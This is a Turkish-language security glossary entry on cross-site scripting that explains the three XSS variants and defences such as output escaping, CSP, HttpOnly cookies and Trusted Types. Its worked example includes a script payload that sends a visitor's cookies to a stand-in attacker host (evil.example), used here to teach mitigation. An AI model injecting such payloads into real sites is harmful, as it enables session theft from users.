Glossary
XSS
Siteler Arası Komut Dosyası Çalıştırma
By Buğra SözeriPublished Updated
XSS (Cross-Site Scripting / Siteler Arası Komut Dosyası Çalıştırma — X tarihsel bir yazım hatasının kalıcılaşmasıdır), saldırgan tarafından kontrol edilen JavaScript'in kurbanın tarayıcısında güvenilir bir sitenin bağlamında çalıştığı bir enjeksiyon saldırısıdır. Üç varyant:
- Yansıtılmış XSS — saldırgan JavaScript içeren bir URL hazırlar; kurban tıklar; site URL parametresini kaçış yapmadan geri yansıtır ve komut dosyası çalışır. Örnek:
?search=<script>evil()</script>. - Depolanmış XSS — saldırgan, sitenin depolayıp diğer kullanıcılara kaçış yapmadan oluşturduğu kötü amaçlı içerik (bir yorum, profil biyografisi) gönderir. Yansıtılmıştan daha kötüdür; çünkü her ziyaretçi için otomatik tetiklenir.
- DOM tabanlı XSS — komut dosyası yalnızca istemci tarafında çalışır; kötü amaçlı içerik hiçbir zaman sunucuya dokunmaz. Genellikle
document.write,innerHTMLveya URL parçalarının güvensiz işlenmesi yoluyla gerçekleşir.
Savunmalar: bağlamsal çıktı kodlama (oluşturmada HTML kaçış, komut dosyası bloklarında JS kaçış, href için URL kodlama). Derinlemesine savunma olarak Content Security Policy (CSP) başlıkları. Otomatik kaçış yapan şablon motorları (Jinja, ERB, React JSX) varsayılan olarak çoğu yansıtılmış ve depolanmış XSS'i ortadan kaldırır.
XSS, OWASP İlk 10'da yer almaya devam eder; düzeltme zor olduğu için değil, dangerouslySetInnerHTML tarzı kaçış kapakları ile otomatik kaçışı aşmak kolay olduğu ve bir unutulan yer tüm savunmayı mahvettiği için.
Kimsenin dikkate almadığı bağlama duyarlılık: HTML kaçış (< için <), kullanıcı içeriğini HTML gövde metnine eklemek için doğrudur. Başka her yerde yanlıştır. Bir <script> bloğu içinde JavaScript dize kaçışı gerekir. Bir href= özelliği içinde URL kodlama artı javascript:-şema engeli gerekir. Bir CSS style= içinde CSS ifadelerini kesen farklı bir kaçış gerekir. Bir olay işleyici özelliği içinde (onclick=) hem HTML hem de JS kaçışı iç içe gerekir. "Her şeyi HTML kaçış yapan" şablon motorları, özellik, URL ve olay işleyici bağlamlarını sessizce kaçırır — DOMPurify veya bağlam duyarlı bir kütüphane tam kümeyi yönetir.
Güvenilir Türler — Chrome önderliğindeki modern savunma: Güvenilir Türler (W3C Çalışma Taslağı, Chrome 83'ten beri), innerHTML, document.write veya setAttribute gibi enjeksiyon havuzlarında ham dizeleri reddeden bir tarayıcı API'sidir. Kod, bir değeri bir sanitizer aracılığıyla açıkça "güvenilir" olarak işaretlemeli ya da atama TypeError fırlatır. Content-Security-Policy: require-trusted-types-for 'script' aracılığıyla etkinleştirilen bu özellik, her potansiyel XSS havuzunu çalışma zamanı güvenlik açığı yerine derleme zamanı hatasına dönüştürür. Benimseme hâlâ kademeli; ancak yeni web çerçevelerinin güvenlik yörüngesi açıkça Güvenilir Türler uyumluluğuna doğru ilerliyor. Kaynak: OWASP — Siteler Arası Komut Dosyası Çalıştırma (XSS).
Çözümlü örnek
Bir blog, yorumu kabul eder ve sunucu tarafında kaçış yapmadan <div>{yorum}</div> olarak oluşturur. Saldırgan <script>fetch('https://evil.example/steal?c='+document.cookie)</script> gönderir. Her sonraki ziyaretçi sayfayı yükler, komut dosyası blogun kaynağında çalışır ve oturum çerezi sızdırılır. Üç katmanda azaltma: (1) oluşturmada yorumu HTML kaçış yapın; böylece < < olur — komut dosyası düz metin olarak oluşturulur. (2) Çerezi HttpOnly; Secure; SameSite=Strict ile ayarlayın; böylece XSS gerçekleşse bile çerez JavaScript'ten erişilemez. (3) Katı CSP dağıtın: Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0m'; object-src 'none'; base-uri 'none' — eşleşen nonce olmadan satır içi komut dosyaları engellenir; dolayısıyla enjekte edilen <script> etiketi kaçış başarısız olsa bile çalışamaz. Derinlemesine savunma: herhangi bir katman saldırıyı durdururdu; birlikte hata sınıfını neredeyse ortadan kaldırırlar.
Ne zaman ve neden önem taşır
XSS, kimlik bilgisi hırsızlığı, oturum ele geçirme ve tek tıkla devralmanın temel güvenlik açığıdır. 2018 British Airways ihlali (380.000 kart detayı sızdırıldı), 2018 Ticketmaster ihlali ve uzun süredir devam eden Magecart serisi, XSS veya tedarik zinciri komut dosyası enjeksiyon varyantları olarak başladı. İyi haber şu: modern çerçeveler (React, Vue, Angular, Svelte) enterpolasyonlu değerleri varsayılan olarak otomatik kaçış yapar — bu hata sınıfı, on yıl öncesine kıyasla sıfırdan yazılan kodda çok daha nadirdir. Kötü haber ise her çerçevenin yorgun bir geliştiricinin kaçınılmaz biçimde ulaştığı bir kaçış kapağı sağlamasıdır (dangerouslySetInnerHTML, v-html, [innerHTML]), genellikle CMS tarafından yazılmış içerik veya üçüncü taraf widget enjeksiyonu için. Savunma oyun kitabı: nonce veya hash ile CSP etkinleştirin, oturum çerezlerine HttpOnly ayarlayın, HTML kabul etmeniz gereken her durum için DOMPurify kullanın ve PR zamanında çerçevenin kaçış kapağı API'leri için grep sonuçlarını denetleyin. Kaynak: OWASP XSS Önleme Hile Sayfası.
Frequently asked questions
- XSS (Siteler Arası Komut Dosyası Çalıştırma) nedir?
- XSS, bir saldırganın kurbanın tarayıcısında güvenilir bir sitenin bağlamında oluşturulan içeriğe kötü amaçlı JavaScript enjekte ettiği bir web güvenlik açığıdır; komut dosyası çerezleri çalabilir, tuş vuruşlarını kaydedebilir veya oturum açmış kullanıcı olarak eylemler gerçekleştirebilir.
- Pratikte XSS'in üç türü nelerdir?
- Yansıtılmış XSS: yük URL'dedir ve yanıtta hemen döndürülür. Depolanmış XSS: yük bir veritabanına (örn. bir yorum) kaydedilir ve her sonraki ziyaretçi için oluşturulur. DOM XSS: istemci tarafı JavaScript, saldırgan tarafından kontrol edilen verileri sanitizasyon olmadan DOM'a yazar.
- XSS ile CSRF arasındaki fark nedir?
- XSS, güvenilir bir sitenin içinden kurbanın tarayıcısına kötü amaçlı kod enjekte eder ve çalıştırır — saldırgan neyin çalıştığını kontrol eder. CSRF, oturum açmış bir kullanıcının tarayıcısını kullanıcının kendi kimlik bilgilerini kullanarak güvenilir bir siteye istemeden istek göndermesi için kandırır — sitenin kendi kodu çalışır; ancak sahte niyetle.
Related
Published May 15, 2026 · Last reviewed May 31, 2026